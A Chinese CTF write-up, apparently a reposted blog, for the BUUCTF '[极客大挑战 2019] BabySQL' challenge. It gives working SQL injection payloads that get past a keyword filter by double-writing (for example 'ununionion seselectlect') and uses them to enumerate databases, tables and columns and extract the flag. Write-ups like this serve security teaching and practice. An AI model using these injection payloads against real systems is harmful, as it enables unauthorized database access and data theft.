当前位置: 首页 > news >正文

buuctf[极客大挑战 2019]BabySQL--联合注入、双写过滤

目录

1、测试万能密码:

2、判断字段个数

3、尝试联合注入

4、尝试双写过滤

5、继续尝试列数

6、查询数据库和版本信息

7、查询表名

8、没有找到和ctf相关的内容,查找其他的数据库

9、查看ctf数据库中的表

10、查询Flag表中的字段名

11、查询表中的内容


1、测试万能密码:

1' or'1'='1 失败

2、判断字段个数

1’ order by 3# "or"和“by”被过滤

3、尝试联合注入

Payload:1’union select 1#&password=1
url:username=1’union+select+1&password=aa
有回显: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#' and password='1'' at line 1

union和select被过滤

4、尝试双写过滤

Payload :username=1’ununionion seselectlect 1#&password=1
url:username=1%27ununionion%20seselectlect%201%23&password=1

有回显: The used SELECT statements have a different number of columns

使用的SELECT语句具有不同数量的列

5、继续尝试列数

Payload:
username=1’ununionion seselectlect 1,2,3#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,3%23&password=1

有回显登录成功

说明正确的列数为三列

6、查询数据库和版本信息

Payload:

username=1’ununionion seselectlect 1,version(),database()#&password=1

Url:

username=1%27ununionion%20seselectlect%201,version(),database()%23&password=1

有回显:版本为:“ 10.3.18-MariaDB! ”

数据库为:“geek”

7、查询表名

Payload:

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema=database()#&password=1

或者

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='geek'#&password=1

Url:

对from,or,where进行了过滤,所以需要进行双写过滤

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=database()%23&password=1

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27geek%27%23&password=1

有回显获得表名b4bsql,geekuser!


8、没有找到和ctf相关的内容,查找其他的数据库

Payload:

username=1’ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_

schema.schemata#&password=1

Url:

username=1%27ununionion%20seselectlect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%23&password=1

有回显

9、查看ctf数据库中的表

Payload:

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='ctf'#&password=1

URL:

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27ctf%27%23&password=1

有回显,存在表flag

10、查询Flag表中的字段名

Payload:

username=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr

mation_schema.columns whwhereere table_schema=’ctf’#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1

有回显,字段名为flag

11、查询表中的内容

Payload:

username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1

获得flag

参考内容:sql注入之union联合注入_在用户名的输入框中,通过union查询语句,猜测出前面表查询的列数。【查找注入点】-CSDN博客 

相关文章:

  • CMake入门教程【高级篇】CPack打包项目Linux的deb和windows的msi
  • go work
  • 制作出色的 GitHub 个人资料
  • C#编程-描述内存分配
  • 2020年认证杯SPSSPRO杯数学建模D题(第一阶段)让电脑桌面飞起来全过程文档及程序
  • Python学习之路-编码风格
  • 外包做了5个月,技术退步一大半了。。。
  • 《计算机网络》 第三章 数据链路层
  • PostgreSQL ZIP版安装完全手册
  • Diffusion扩散模型学习3:Unet学习实现
  • 2023春季李宏毅机器学习笔记 03 :机器如何生成文句
  • 【实用技巧】Windows 电脑向iPhone或iPad传输视频方法1:无线传输
  • 杨中科 ASP.NET Core 中的依赖注入的使用
  • 寒假前端第一次作业
  • 模型\视图一般步骤:为什么经常要用“选择模型”QItemSelectionModel?
  • [ JavaScript ] 数据结构与算法 —— 链表
  • [译] React v16.8: 含有Hooks的版本
  • 【Linux系统编程】快速查找errno错误码信息
  • 【附node操作实例】redis简明入门系列—字符串类型
  • Android 控件背景颜色处理
  • C++类的相互关联
  • Making An Indicator With Pure CSS
  • python 装饰器(一)
  • Spring思维导图,让Spring不再难懂(mvc篇)
  • ubuntu 下nginx安装 并支持https协议
  • ucore操作系统实验笔记 - 重新理解中断
  • Vue小说阅读器(仿追书神器)
  • 翻译 | 老司机带你秒懂内存管理 - 第一部(共三部)
  • 官方解决所有 npm 全局安装权限问题
  • 模型微调
  • 深入体验bash on windows,在windows上搭建原生的linux开发环境,酷!
  • 使用Gradle第一次构建Java程序
  • 世界编程语言排行榜2008年06月(ActionScript 挺进20强)
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 微信开源mars源码分析1—上层samples分析
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 白色的风信子
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • ​RecSys 2022 | 面向人岗匹配的双向选择偏好建模
  • (10)ATF MMU转换表
  • (70min)字节暑假实习二面(已挂)
  • (floyd+补集) poj 3275
  • (NSDate) 时间 (time )比较
  • (Ruby)Ubuntu12.04安装Rails环境
  • (二)WCF的Binding模型
  • (附源码)spring boot校园拼车微信小程序 毕业设计 091617
  • (附源码)ssm户外用品商城 毕业设计 112346
  • (一)spring cloud微服务分布式云架构 - Spring Cloud简介
  • . NET自动找可写目录
  • ./mysql.server: 没有那个文件或目录_Linux下安装MySQL出现“ls: /var/lib/mysql/*.pid: 没有那个文件或目录”...
  • .NET Core 项目指定SDK版本
  • .NET Core中Emit的使用
  • .NET 设计模式初探
  • .NET/C# 项目如何优雅地设置条件编译符号?
  • .NET处理HTTP请求